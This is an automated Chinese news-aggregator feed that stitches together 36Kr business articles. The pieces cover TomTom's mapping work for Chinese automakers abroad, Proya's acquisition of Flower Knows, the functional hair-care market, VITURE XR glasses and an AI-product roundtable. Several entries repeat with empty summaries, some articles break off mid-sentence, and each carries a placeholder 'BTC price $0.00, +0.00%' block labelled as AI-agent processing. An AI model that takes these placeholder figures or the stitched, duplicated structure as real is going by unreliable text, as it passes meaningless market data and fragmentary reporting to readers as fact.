中国汽车出海，离不开“地图” 当下，中国车企全球化进程正全面提速，出海已经从企业的可选增量，变为行业确定性增长主线。比亚迪、奇瑞等企业海外销量规模持续走高，小鹏、蔚来、理想、小米等新势力车企也纷纷发力海外高端市场。区别于过往靠性价比、电动化优势打开市场的模式，现阶段中国车企出海的核心壁垒转变为智能化。在海外市场竞争中，智能座舱与高阶辅助驾驶，已经成为中国汽车差异化突围的关键。智能座舱板块，导航是用户车机使用频次最高、感知最强的功能，直接决定座舱智能化的基础体验。不同于国内统一的道路规则与数据生态，海外各国的交通标识、道路拓扑、驾驶习惯、路况特征差异极大。想要实现流畅的车道级导航、实时路况更新、新能源充电专属规划、多语言POI检索等基础服务，车企必须依托适配本地规则的地图数据。若无专业海外地图支撑，座舱智能化体验会出现明显短板，难以适配海外用户需求，直接影响产品竞争力。辅助驾驶层面，地图的价值更是贯穿研发、适配、安全、合规全链条。一方面，车企海外智驾模型的迭代训练，需要海量真实的本地道路场景数据，海外图商覆盖全球的道路数据、交通规则数据、特殊场景数据，是模型快速适配海外路况、缩短本地化调试周期的核心基础。另一方面，在高楼遮挡、隧道、立交桥等传感器易失效场景，地图可提供超视距定位与路况预判，补足感知短板，提升智驾系统的稳定性与安全性。同时，欧盟等主流海外市场对车载智能系统有明确的地图合规要求，认证地图数据是车型准入的硬性条件。无论是座舱体验的落地优化，还是高阶智驾的训练迭代、合规落地，中国车企的智能化出海都离不开专业海外图商的技术与数据支撑。中国订单暴涨10倍，欧洲地图商TomTom发力中国业务 TomTom是一家拥有三十余年发展历史的全球化位置智能与地图技术企业。公司早期以车载导航仪为核心业务，近三四年完成业务转型，从传统导航硬件厂商，转向为智能出行、车载系统、智慧城市提供标准化、可规模化的位置数据与软件解决方案。在基础数据能力方面，TomTom已形成覆盖全球235个国家和地区的地理数据体系，同时具备静态底图数据与实时动态出行数据的建设、更新与运维能力。与行业多数服务商相比，TomTom的核心差异在于具备自主可控的全球全域地图数据底座，而非仅提供SDK应用接口、分区域采集数据，可支撑跨国、跨区域的标准化项目落地。在车载业务合作层面，TomTom形成多层级客户体系。核心合作对象包含丰田、大众、本田、Stellantis四家主流整车厂商，同时与宝马、戴姆勒等豪华车企保持长期合作。近一年多来，公司加速落地中国市场业务，服务国内传统车企与新能源造车企业，提供可规模化的车载地图与智能驾驶配套方案，配套案例覆盖国内新势力与传统主机厂。此外，公司与微软等科技企业、全球四大出行企业达成合作，为终端产品、出行平台提供底层位置能力支持。技术架构上，TomTom采用分层模块化的位置智能平台模式。底层为基础地理底图，上层叠加3D建筑、ADAS辅助驾驶、新能源服务、实时路况等多层功能，同时支持客户自定义叠加自有数据，适配不同场景的定制化需求。产品迭代方向上，TomTom正在重点推进导航与ADAS辅助驾驶功能融合，适配车载智能驾驶的行业发展趋势。同时落地AI智能体技术，实现动态路况、道路限速、道路风险、极端天气、充电桩余量等信息的实时推送与主动路径优化，完成智能交互与出行决策辅助。在落地效率方面，TomTom大中华区团队聚焦中国车企出海需求，具备快速集成与量产落地能力，曾实现合作项目六个月量产落地。其与华为花瓣地图合作研发的红绿灯倒数识别等技术，已在西班牙马德里完成试点，计划于2026年下半年在欧洲规模化落地。以下是TomTom高管团队与36氪等媒体的对话，不改变原意的基础上，略经编辑：问：去年中国汽车出口乘用车规模达到了600万台，TomTom在其中的份额有多少？ Mike Schoofs：TomTom去年的成绩单很不错，并且今年一季度，装载TomTom服务的汽车出海量以及功能10万台了。问：TomTom具备完整地图与服务能力，为何还要与华为花瓣地图、腾讯等国内企业合作？是法规、车企需求还是成本考量？ Mike Schoofs：华为花瓣地图有做软件，并且和很多中国车企有合作关系，所以我们很快就达成合作了，和腾讯的合作则主要是智驾方面，我们的合作方式是共创、共赢的。问：能不能理解为TomTom就是海外版高德，专为中国车企出海提供核心地图支撑？ Mike Schoofs：可以这样理解。TomTom拥有全栈地图数据，也有软件服务完整能力，并且合作模式高度灵活，可单独售卖地图数据、单独提供服务，也可交付全套一体化解决方案，弹性适配不同车企出海差异化需求。问：TomTom去年业绩很好，在这其中，中国业务提升多少？未来希望中国业务占到多少？ Mike Schoofs：作为上市公司，我们不方便披露细节，但可以讲的是，从2024至2025年，TomTom中国相关订单暴涨10倍。未来我们有两个核心目标，一是用户体验，让客户感受到TomTom的产品的领先性；二是我们会再拿更多的订单，帮助更多的中国车厂出海。其中途径就比如辅助驾驶ADAS，我们已经跟所有主要的算法公司都在聊这件事情，怎么帮助中国辅助驾驶一起出海。问：TomTom客户覆盖面很广，哪类客户占比更大？近几年是否有一些新的合作模式？ Mike Schoofs：公司核心营收主力为汽车业务，合作伙伴涵盖硬件tier1、软件tier1及各类生态合作伙伴。我们的合作模式非常灵活，既可以为AD算法公司提供纯地图数据支撑，也可以作tier1，联合科技企业打包交付整体方案。问：注意到Tom Tom的客户列表并不包括特斯拉，这是否意味着欧洲智驾不需要高精地图？中国车企出海欧洲是不是必须用到TomTom？TomTom在这个领域是否拥有“绝对优势”？ Mike Schoofs：特斯拉对信息披露非常严谨，通常不会向外界宣布他们使用了什么技术或与哪家企业进行合作了，但其实我们有很多联系。对于辅助驾驶出海，行业里一定是有竞争对手的，但TomTom的优势也很明显，我们已经通过大众汽车等车企的筛选，这就是一种认可。

文章来源

标题: 对话欧洲地图商TomTom：中国订单暴涨10倍，帮助中国辅助驾驶出海｜最前线
来源: ai
链接: https://36kr.com/p/3820241871409543?f=rss
时间: 2026-05-25 11:52:40 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820241871409543?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T06:00:15.908357+00:00

珀莱雅收购花知晓，但美妆界的“安踏”还没诞生

Sun, 24 May 2026 12:00:20 +0000

原文摘要

作者｜任彩茹编辑｜乔芊一家富有“少女心”与“童话感”的美妆新锐品牌，找到了自己的阶段性归宿。 5月21日晚，珀莱雅公告称，旗下全资子公司珀莱雅（海南）拟以3.51亿元现金收购深圳花知晓电子商务有限公司12.5479%的股权。交易完成后，珀莱雅对花知晓的持股比例将从38.4521%提升至51%。财务层面，花知晓也将正式纳入珀莱雅的合并报表范围。

珀莱雅关于收购花知晓部分股权的公告珀莱雅正在推进“A+H”上市，此时控股花知晓，某种意义上也是在向资本市场讲述新故事。“花知晓的利润率在20个点左右，太fancy了。”一位一级市场投资人告诉36氪。此次交易，花知晓的估值是28.27亿元，结合它2025年2.80亿元的净利润来看，PE倍数大约是10倍，这在当下的资本市场环境中算是合理价格。珀莱雅对花知晓的青睐并不突然。早前，珀莱雅已经在2025年9月完成对花知晓的B轮战略投资。当时，珀莱雅花费4.28亿元，买来的是花知晓38.45%的的股份——后者如今的估值已超过去年的2.5倍。花知晓也的确是一份处在快速增长中的“优质资产”，今年第一季度，它的营业收入、净利润已经分别达到了去年全年的40%和55%。珀莱雅此前已经拥有彩棠。彩棠的定位偏专业化、中式美学、底妆修容和妆前体系，更像一个具有专业彩妆师审美背书的功能型彩妆品牌；而花知晓偏向少女、梦幻、视觉化和情绪消费。两者同属彩妆，但品牌气质、目标人群和消费场景并不完全重叠。作为中国美妆领域的新一代领军企业，珀莱雅的这笔交易，也踩在了行业大公司的共同焦虑点上：主品牌增长放缓时，第二曲线从哪里来？“上美、贝泰妮、水羊、逸仙电商等公司，都在做相似的动作。”前述投资人告诉36氪。从路线轨迹上看，美妆集团们似乎越来越像服饰行业里的安踏。每家公司都渴望通过并购和品牌矩阵的布局，从单一的品牌公司变成真正的消费品集团，直至走向全球舞台的中心。但至少到现在，中国美妆界还没有出现一个真正意义上的“安踏”。 01 一个找到归宿的“好标的” 在日化美妆一级市场，花知晓算是公认的好标的——有品牌辨识度、也有得到市场验证的增长成绩。花知晓成立于2016年，定位“少女心彩妆”，颜值、丰富、繁复美、浪漫、上新极快等特点，构成了这个品牌的独特身位。在2021年36氪的一场论坛中，花知晓联合创始人“包子”谈到，彩妆行业从蓝海到红海是一个非常快速的过程，品牌壁垒很难建立，“对我们来说，最擅长的事情就是输出我们的审美。”

花知晓“草莓丘比特甜心礼盒” 把花知晓的发展历史放进中国新消费投融资周期里看，它是一个相对幸运的样本。公开信息显示，花知晓在2020年获得天图投资千万级人民币Pre-A轮融资，2021年3月获得坤言资本近亿元A轮融资。此后，在新消费投资退潮、美妆品牌估值回落的大环境下，花知晓没有走向激进扩张的危险之路，而是继续强化供应链、品牌内容和海外市场。直至2025年9月，珀莱雅的投资齿轮开始转动。同样隐藏在这条时间线里的，还有资本市场大起后大落继而回归常识的变化。据36氪了解，2021年的A轮融资后，花知晓估值就已超过10亿元。而四年后，珀莱雅2025年9月对其进行B轮投资时的估值也仅有11.13亿元。对许多身在局中的投资人和品牌而言，中间的几年都有各自的选择与结果。至少从结果来看，花知晓“渡”过了周期。据珀莱雅在公告中披露的数据，花知晓2025年实现营业收入17.26亿元，净利润约2.80亿元；2026年一季度实现营业收入6.75亿元，净利润1.55亿元。

珀莱雅在公告中披露的“花知晓”相关数据将这份成绩单放到珀莱雅的全局中来看，花知晓2026年一季度的营收规模占珀莱雅集团的29.28%，接近三成；净利润则达到集团同期净利润的42.15%。按照2025年全年业绩来看，花知晓已经是珀莱雅体系内第二大的品牌，营收规模高于彩棠、Off&Relax等子品牌。收入规模和利润能力之外，花知晓也是过去几年国货美妆创业公司里少数拥有鲜明辨识度的品牌。凭借这份辨识度，它某种程度上已经是一个拿到初步结果的出海品牌，在全球化方面有着不错表现。过去一年，花知晓（Flower Knows）在海外市场的动作明显提速。最新标志性事件是，花知晓于2025年12月登陆美国美妆零售商 Ulta Beauty，首批上线62个SKU，覆盖眼影、腮红、唇部产品、镜子及配饰等品类，价格带约为8美元至45美元。此前，花知晓已通过 Urban Outfitters、Amazon、TikTok Shop 等渠道触达美国年轻消费者。与以功效、成分或性价比切入的品牌不同，花知晓更接近“内容型彩妆品牌”。草莓洛可可、天鹅、天使、童话等主题包装，天然适合 Instagram、TikTok等平台传播，也帮助它构建了高度可视化的品牌资产。据 Beauty Independent 报道，美国贡献花知晓海外业务的60%至70%；不过，海外业务在整体收入中仍占比较小，中国市场仍贡献约90%的总收入。对花知晓而言，被产业资本控股，是一种体面的退出路径。过去几年，一批新消费品牌都曾拥有“大梦想”。但走到今天，流量红利消失、IPO窗口波折不断，即便上市，估值也常常难以如愿时，“绝大多数消费品品牌难以长成一家大公司了，被头部产业集团并购，反而成为更可行的归宿。”前述FA说。此次交易完成后，花知晓或许要开启“从10到100”的新故事了。在过去擅长的审美、内容、渠道敏锐度之外，能否与珀莱雅的供应链以及其作为大公司的组织体系、渠道系统等顺利融合，都会是新的变量。 02 中国美妆集团的并购叙事里，缺一份“安踏”样本珀莱雅需要花知晓，也和它自身的增长压力有关。从财务数据看，珀莱雅仍是中国本土美妆公司中质量较高的一家。2025年，珀莱雅实现营业收入105.97亿元，同比下降1.68%；归母净利润14.98亿元，同比下降3.50%，明显从过去的“高速增长”转而进入“调整期”。更关键的是珀莱雅主品牌的放缓。 2025年，珀莱雅主品牌收入76.89亿元，同比下降10.39%，但仍占到公司收入的72.64%。彩棠、OR（Off&Relax）、原色波塔、惊时等品牌虽然仍处于增长通道，但体量还不足以抵消主品牌下滑。2026年一季度，珀莱雅集团实现营收23.05亿元，同比下降2.29%；归母净利润3.67亿元，同比下降6.05%。这意味着，珀莱雅要维持“国货美妆一哥”的增长叙事，主品牌已经难以成为“挑大梁”的唯一力量，它必须寻找更快、更确定的外部增量。一位消费一级市场投资人告诉36氪，2024年下半年左右开始，珀莱雅投资部门开始在市场上密集寻找高客单、或是出海有所成绩的新锐品牌，寻求投资与收并购。只是，并购能带来规模，却不必然能筑成一座帝国。服饰行业的安踏常被拿来作为中国消费品集团化的样本。从安踏主品牌，到FILA，再到迪桑特、可隆、亚玛芬体育等资产，安踏在过去近20年中，通过收并购一步步建立起多品牌、多价格带、多场景的集团化能力。它在并购之后的再定位、再运营和再增长

文章来源

标题: 珀莱雅收购花知晓，但美妆界的“安踏”还没诞生
来源: tech
链接: https://36kr.com/p/3820119270953352?f=rss
时间: 2026-05-24 19:22:23 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3820119270953352?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-24T12:00:20.643787+00:00

功效洗护市场，跑不出下一个完美日记

Sun, 24 May 2026 12:00:19 +0000

原文摘要

走进美国 Sephora、Ulta 或欧洲 Douglas 这样的美妆零售集合店，货架上的景象或许会让你感到意外：占据大量陈列面积的，不只是护肤品，还有护发产品。从基础清洁，到去屑、防脱，再到头皮微生态、蛋白键修护、抗热损伤等护理产品，护发区的复杂程度已经几乎与护肤区无异。根据市场研究机构 Circana 的数据，2025 年美国高端护发零售市场同比增长 8%，是高端美妆所有品类中增速最快的——超过彩妆（4%）、护肤（3%），仅次于香水（5%）。但比增速更值得关注的是品类的内部结构：基础洗发水与护发素仅实现个位数增长，而修护治疗类（Treatments）与造型类产品——那些主打烫染修护、蛋白键修复、头皮健康的高附加值品类——则以双位数速度扩张。其中头皮护理已连续三年保持双位数增长，新品发布数量同比上升 20% 以上，且绝大多数是修护治疗类产品。中国市场也出现了相似的结构性分化。据 Joy Group 战略总监 Stefan Huang 引述的行业数据，2025 年上半年中国线上洗护市场整体增速几近停滞，仅为 0.09%；而中高端价格带却逆势扩张了 28%。同期，大众价位段下滑 3%。行业分析师将这轮价格上探的动因普遍归结于“护肤化护发”（skinification）的流行，即将护肤的成分叙事与功效逻辑移植进护发，以头皮微生态、屏障修护、抗老化等概念为消费者构建新的付费理由。这一变化也迅速传导至中国本土美妆集团。 2024 年以来，国产美妆公司几乎集体押注功效洗护：2 月，巨子生物推出头皮护理品牌函得仕；5 月，珀莱雅集团上线头皮微生态品牌惊时（Awaken Seeds），上美股份同步推出一叶子头皮敏感护理系列；6 月，福瑞达推出微生态洗护品牌即沐（Soonmu），膜法世家推出“以油养发”品牌膜法；7 月，自然堂集团也推出敏感头皮护理系列。这是一次密度罕见的行业集体转向。但直到今天，一个问题仍未得到真正验证：功效洗护赛道，是否真的能像当年的功效护肤一样，借助“成分红利”跑出一个 50亿、甚至 100 亿规模的新国货品牌？要回答这个问题，需要回看过去几年国货美妆最熟悉的两条曲线——完美日记式的彩妆爆款，和润百颜、夸迪式的功效护肤红利。前者靠审美趋势放量，后者靠成分叙事溢价。但两条曲线在三年之后，都没能真正沉淀出品牌资产。今天的功效洗护，恰好同时落在这两条曲线的延长线上。国产洗护市场最初的增长逻辑，其实更像“彩妆” 国产洗护新品牌的大规模诞生和增长，几乎都起源于疫情前后。最早跑出来的，并不是今天强调“头皮护理”“微生态”“屏障修护”的品牌，而是一批依赖香氛、电商爆款、短视频营销与下沉渠道迅速放量的品牌。回头看，这轮增长背后的消费者心理，其实也并非“成分觉醒”，而更像一种审美趋势的集体流行：消费者为某种“立刻能看到”的外观改善买单，而不是为长期头皮健康投资。 “高颅顶”成为这轮增长最具代表性的注脚。这一以蓬松饱满头顶轮廓为核心的东亚审美理想，在小红书上积累了450万条笔记内容，让“显脸小”的头顶发量成为与皮肤光泽同等重要的外貌焦虑。它直接推动了控油蓬发类产品的需求，而最精准踩中这一需求的，是 2020 年创立的诗裴丝。诗裴丝起家于一款海盐洁发膏，2021 年又推出“控油蓬松干发喷雾”，以免洗、即喷、即蓬的极简使用逻辑，在小红书上完成冷启动，后在抖音完成规模化放量。品牌向 36 氪介绍，干发喷雾这一单品至今累计销量超 1 亿瓶，在线上线下均排名第一，在该细分品类上保持“绝对领先”。诗裴丝的增长逻辑，创始人郑如晶曾向媒体描述为一种“高增长、小品类、低客单价”的开发路径——与其说像传统洗护品牌，更接近过去国货彩妆的打法，即抓住一个具体的外观焦虑；提供即时、可见、低决策成本的解决方案；再通过平台内容与流量机制快速放大——这与完美日记、花西子早期依靠唇妆、眼影爆发的逻辑本质上高度相似，区别只是焦虑从“脸”转移到了“头发”。事实上，过去几年中国洗护市场增长最快的产品，也大多符合这一特征：香氛洗发水、干发喷雾、蓬松喷雾、免洗护理……它们往往强调的是“即时感知”，而不是长期治疗。这种“彩妆化”的消费逻辑，也天然决定了它更适合内容平台传播。因为“头发蓬了”“看起来发量更多”“头发更顺”“香味高级”，都是容易在短视频与社交平台上完成视觉表达的效果。相比之下，“头皮微生态改善”“屏障修护”“减少氧化损伤”则天然更抽象，也更难建立即时消费冲动。因此，这一阶段的国际巨头虽然积极入局，但姿态却往往有所保留。据 36 氪梳理，欧莱雅、联合利华和宝洁都在 2024 年前后推出过副标签为“蓬松”的产品，但大多避开了以即时功效为主的喷雾产品，以洗发水和精华为主要型态，多属于在现有产品矩阵里加一个“蓬松”主张的 SKU 做防守性卡位。以洗发水为例，产品都以清洁头皮过程中以“控油”实现最终发丝蓬松的效果，标签多是“无硅油”——这已经是一个具有市场号召力的成分宣称。历史上许多洗发产品含有某些不溶于水的硅油，它们在增加发丝顺滑、保持水分的同时也会造成头发扁塌、甚至形成残留——这一情况在亚洲人偏粗硬直的发质中更甚。另外值得一提的是，这些产品也多未单独强调蓬松这一功效，而是多与“头皮健康”“强韧发丝”“防脱”等词汇捆绑——这很可能与内容平台上功效词汇叠加的流量奖励机制有关，但也可以理解为单一蓬松功效的宣传不足以支撑品牌长期的增长。事实上，这也是许多“彩妆式洗护”品牌后来共同面对的问题：流量来得快，但复购与品牌忠诚度并不高。郑如晶也向我们坦言，干发喷雾这一品类本身“物理天花板确实存在”。因此，诗裴丝后续才试图从“即时蓬松”进一步延伸至“便捷式头皮护理”。因为只有进入真正的护理场景，品牌才有可能获得更高的复购、更强的产品壁垒与更长期的生命周期。但功效洗护，正在迅速进入“平价化” 今天的功效洗护产品，正在重复功效护肤曾经走过的路径。洗护市场消费者的需求并没有本质变化——无论是控油、防脱、去屑还是强韧发丝，这些需求长期都存在。真正变化的是，消费者开始要求品牌解释：“为什么有效”。于是，“成分”成为新的竞争语言：多肽、玻尿酸、神经酰胺、益生菌、氨基酸、胶原蛋白……大量原本属于护肤领域的话语体系，被快速移植到洗护市场。但问题在于，一旦成分逻辑成熟，价格体系也会迅速透明化，随之而来的就是无法避免的终端价格比较。诗裴丝主打成分的洗护新品“多肽蓬蓬瓶”在天猫官旗上最小规格 300ml，价格是 84 元；潘婷具有蓬松功能、添加胜肽的洗发水最小规格 530g，售价 79 元；欧莱雅具有相似效果的玻尿酸洗发水的最小规格 440ml，售价 72.5 元。在没有成分标签、但具有相同功效宣称的市场，国产品牌的价格优势更是几乎不存在。实际上，用功效护肤的逻辑做洗护市场的模式已经被业内人士质疑过一遍。Sregular 丝律产品中心负责人徐文磊曾向行业媒体聚美丽表示：“用功效护肤做洗护市场……最终往往做着做着就变了形，难以持续推进。” 问题的最大症结也许在于洗护市场的消费者忠诚度远不如护肤市场。诗裴丝联合创始人蒋锦杰就曾坦

文章来源

标题: 功效洗护市场，跑不出下一个完美日记
来源: tech
链接: https://36kr.com/p/3819023278048643?f=rss
时间: 2026-05-24 19:23:19 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3819023278048643?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-24T12:00:19.396988+00:00

对话VITURE姜公略：什么才是XR眼镜该有的样子？

Sun, 24 May 2026 12:00:18 +0000

原文摘要

过去十年，XR（扩展现实）赛道始终陷在一种怪异的叙事里—— 在从业者高呼着“下一代计算平台”的宏大愿景时，资本市场也曾在元宇宙的热潮中疯狂押注，而一旦落地到消费端，这个行业却始终未能摆脱极客玩具的宿命。从Google Glass的黯然退场，再到一众VR/AR厂商的折戟，XR行业在跌宕中，迎来了前所未有的冷静时刻。行业的艰辛在于，尽管所有人都清楚技术终局，但抵达终局的路径却布满荆棘。在种种“不可能三角”中，行业在缺乏共识中蜿蜒前进。在略显沉闷的行业氛围中，XR厂商VITURE近日发布了一款全新产品——VITURE Beast。作为一个此前主攻海外游戏市场、鲜少发声的“隐形冠军”，VITURE此次转向强攻中国市场，且逐渐走出了游戏叙事的举动，自然引发了行业不少关注。 VITURE创始人兼CEO姜公略在发布会上直言，这款产品是不是简单的升级，而是一款集过去三年研发成果、“跃迁性”的产品。

行业关注的焦点在于，在VITURE Beast上，他们没有和其他玩家一样盲目堆砌复杂功能与前沿概念，而是将精力倾注于“够大、够亮、够灵”这三个基础体验痛点上。其实，透过VITURE Beast这款产品，我们或许可以一窥当前XR行业务实派的生存哲学——在技术尚未迎来真正爆发点的当下，与其“画饼充饥”，不如回归第一性原理，直面用户真实痛点。 “我们正在试图重新定义一个XR眼镜应该有的样子”，姜公略表示。回归XR眼镜的第一性在XR行业，一直存在着一个怪圈——厂商们沉迷于参数内卷，比拼光学与算力，却在炫技中忘了用户戴上眼镜的第一秒需要什么。这种自嗨，容易将行业的想象力锁死在狭小闭环里。的确，今天XR的核心用户仍高度集中在游戏与观影人群。 VITURE的解法，恰恰是反其道而行。姜公略是行业里的“人间清醒”，他毫不避讳地指出死穴：“如果连一块合格的屏幕都算不上，何谈承载未来？若盯着别人的参数打，永远只是follower。” 拒绝陪跑军备竞赛的他，这一次，将目光投向被忽视的“大众蓝海”——那些手持SteamDeck的“数字游民”，那些渴望在旅途中拥有私人影院的商旅人士。这份清醒，贯穿了VITURE Beast的研发始末。因此，团队回归第一性原理，克制地做减法：与其空谈宏大的梦想，不如老老实实先做好一块能轻松带出门的虚拟巨幕。在过去三年，VITURE的“博士天团”直面体验死结，磕出“够大、够亮、够灵”的三大核心突破，回应了用户对一块好屏幕最朴素的期待。

首先，“够大”，决定了XR眼镜是否能成为一块合格的、有沉浸感的屏幕，这是XR替代传统屏幕的前提。目前，市面上的一项常用的光学方案是BirdBath（BB方案），虽然它色彩好、成本低，但受限于物理极限，视场角（FOV）也只有50°左右。对于用户来说，透过眼镜看到的画面，相当于就像在胳膊长度的地方举着一台iPad。为了突破这一物理桎梏，VITURE没有选择在原有BB方案上修修补补，而是直接换道超车，采用全新的Prism光波导光学方案，将FOV拉升到了58°，打破了行业长期以来的视场角魔咒，达到目前同类消费级XR眼镜的最大视场角。如何理解FOV为58°——相当于在用户眼前不到四米的距离上，看IMAX巨幕。这意味着，XR眼镜真正拉开了沉浸式体验的序幕。 “够亮”，则是过去XR眼镜另一个阿喀琉斯之踵，决定了XR眼镜是否能获得场景解放的基础。过去，传统光波导XR眼镜的入眼亮度普遍不足500尼特，相当于用户一旦走出暗室，来到窗边或阳光下，屏幕就会瞬间见光死，变成一片模糊的灰白色。而此次，VITURE Beast直接将参数拉到了1250尼特——相当于iPhone 15 Pro Max日常屏幕亮度的水准。

不过，这绝非简单的参数军备竞赛，背后其实是一套复杂的系统刀法。姜公略深知，单纯增加屏幕背光只会加剧功耗和发热，所以，VITURE Beast不仅首发采用了索尼最新的0.68英寸Micro-OLED屏幕，还配套开发了一套实时渲染补偿算法。这套算法就像一位严苛的光学管家，能够实时计算每个像素的亮度需求，通过动态补偿让整个画面的亮度更平整，将光机光线到人眼的光损降到了最低。“亮度最高的本质，正是让光学系统效率最高。”姜公略一针见血表示。如果说“够大”和“够亮”还能靠借力供应链叠加团队攻坚的硬功夫来解决，那么“够灵”，考验的则是厂商的底层架构能力——而这也是XR眼镜空间计算的基础。过去，XR眼镜若要把画面锚定在一个固定区域，通常需要依赖外接颈环、或者手机APP调用手机陀螺仪，这种强依附性不仅增加了用户的使用门槛，更带来了不可忽视的传输延迟。也就是说，当用户转头时，虚拟屏幕往往慢半拍才跟上，这也是过去XR眼镜一直被诟病眩晕的本质原因之一。为了彻底根治这一顽疾，VITURE的团队重构了底层架构，并眼镜内部塞入了一个“微型大脑”般的芯片，使其具备了原生的3DoF（三自由度）能力。这种架构上的降维打击，带来了体验上的质变。实际体验可以发现，无论用户如何剧烈晃动头部，虚拟屏幕都像被牢牢钉在空气中的实体显示屏一样，纹丝不动。这种不依赖外部设备的原生空间计算能力，也让VITURE Beast摆脱了XR眼镜一直以来“手机附属品”的困境，成为能独立应对复杂空间场景的计算终端。在过去，XR眼镜厂商们为了闯过大FOV、高亮度、强交互的“三重门”，要么是强攻技术参数但忽略了其他体验，或是是直接粗暴做参数阉割。而VITURE Beast选择了更直接，且更艰难的路——现有的技术框架和能力下死磕，榨干最后一丝潜力。而只有真正解决这些痛点，XR眼镜才能够逐渐褪去实验室原型的粗糙外衣，真正像一件成熟的消费电子产品，接近用户心里“该有的样子”——一块正常的、能带出门、能定在空中的屏幕。 “VITURE的DNA是第一性原理。我们一切都从用户出发，来定义产品逻辑”，姜公略在发布会后表示。 XR眼镜走出暗室硬件参数的突破创新，仅仅是拿到了通往未来的入场券，却远非终局。一直以来，技术与需求的错配，是XR行业深陷存量竞争泥潭的本质——长期以来，厂商们试图将XR眼镜打造为家庭娱乐的替代品，但走不出暗室的XR眼镜不能解决刚需只解决“痒点”，且面临让电视机、平板电脑争夺使用时长的风险。在存量博弈下，XR眼镜行业处于高溢价、低频次的死结中。姜公略深知，技术本身不是目的，而是服务于真实场景的手段，如果XR眼镜无法在日常的高频场景中提供不可替代的价值，那么无论FOV多大、分辨率多高，都只是昂贵的电子垃圾。基于对行业死结的清醒认知，姜公略在做VITURE Beast产品定义时，做了一个关键决断：不再沿着旧地图寻找新大陆，而是必须跳出娱乐和游戏的红海，去啃办公场景这块硬骨头。 “VITURE Beast是一个起点，是因为它不光是游戏、观影做得更好，办公也很好，中国有消费能力的人群，对办公和差旅的需求其实非常强烈”，他观察到。在他看来，办公场景正是一个破圈核心——相比于海外，中国办公人群远远大于游戏人群。而三年前的这一战略预判，如今击中了现下职

文章来源

标题: 对话VITURE姜公略：什么才是XR眼镜该有的样子？
来源: ai
链接: https://36kr.com/p/3823013049045380?f=rss
时间: 2026-05-24 17:09:30 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3823013049045380?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-24T12:00:18.305612+00:00

珀莱雅收购花知晓，但美妆界的“安踏”还没诞生

Sun, 24 May 2026 12:00:16 +0000

原文摘要

文章来源

标题: 珀莱雅收购花知晓，但美妆界的“安踏”还没诞生
来源: ai
链接: https://36kr.com/p/3820119270953352?f=rss
时间: 2026-05-24 19:22:23 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820119270953352?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-24T12:00:16.629476+00:00

功效洗护市场，跑不出下一个完美日记

Sun, 24 May 2026 12:00:15 +0000

原文摘要

文章来源

标题: 功效洗护市场，跑不出下一个完美日记
来源: ai
链接: https://36kr.com/p/3819023278048643?f=rss
时间: 2026-05-24 19:23:19 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3819023278048643?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-24T12:00:15.684569+00:00

圆桌对话：下一个杀手级AI产品，会出现在哪个赛道？| 2026AI Partner·北京亦庄AI+产业大会

Sat, 23 May 2026 12:00:15 +0000

原文摘要

下一个杀手级AI产品，是眼镜、是Agent，还是某个尚未命名的“物理世界入口”？这场圆桌没有标准答案，却达成一个共识：单纯套壳大模型的应用注定短命，只有长期在线、连接物理世界、能完成真实交互闭环的产品，才可能成为下一个百亿级赛道。从AI眼镜到具身智能，入口之争已悄然打响。硬件先行还是生态为王？C端规模还是B端付费？最终指向同一个逻辑：纯套壳应用、弱交互硬件注定被淘汰，只有“多模态底座+AI原生智能体+可穿戴硬件”三位一体，才能让AI从聊天框真正走进现实。以下为圆桌对话内容，经36氪整理编辑：

刘子豪丨杭州颜柯教育联合创始人（主持）赵维奇丨乐奇全球开放生态负责人路少卿丨商汤科技研究院技术管理负责人、多模态产品负责人刘子豪：各位上午好，我是来自杭州颜柯的刘子豪，欢迎来到这场杀手级的AI产品赌局。今天不聊虚的，只聊一个事：下一个全民级、百亿级的AI产品到底长什么样，又会诞生在哪个赛道。今天有幸请到两位嘉宾，分别代表了不同的赛道，有请两位老师介绍一下自己。赵维奇：大家好，我是赵维奇，来自乐奇。我是一个持续创业者，之前一直在做多模态和人工智能软硬件设备，to C看得比较多，目前负责乐奇全球开放生态，从芯片、硬件、OS、API、应用到高校、非营利组织，都可以看有没有合作的机会，推动整个行业。路少卿：大家好，我来自商汤科技，主要负责多模态交互相关技术研发、产品化及产业落地工作。刘子豪：感谢两位老师。如果必须押注一个赛道会诞生下一个杀手级的AI产品，您会押哪一个？可以用自家落地的案例证明您的判断。赵老师。赵维奇：先有一个定义，下一个杀手级AI产品一定是长期在线的，跟物理世界能连接的一个入口。从我的角度，这个品类一定是AI可穿戴。可穿戴在不同时间阶段可能有不同的产品出现，目前来说，AI和AR结合的眼镜是最合适的，相对离人更近，在线时间也更长，能够更容易连接物理世界。人每天看世界的时间应该比看手机的时间长很多，大部分时间是跟物理世界进行交互。如果是杀手级AI产品，一定是高频、刚需并且能够持续使用的。从这个角度，眼镜是最好的长期在线的部分，手机是你主动打开的，不能做成持续在线。再说AI Agent。有了AI 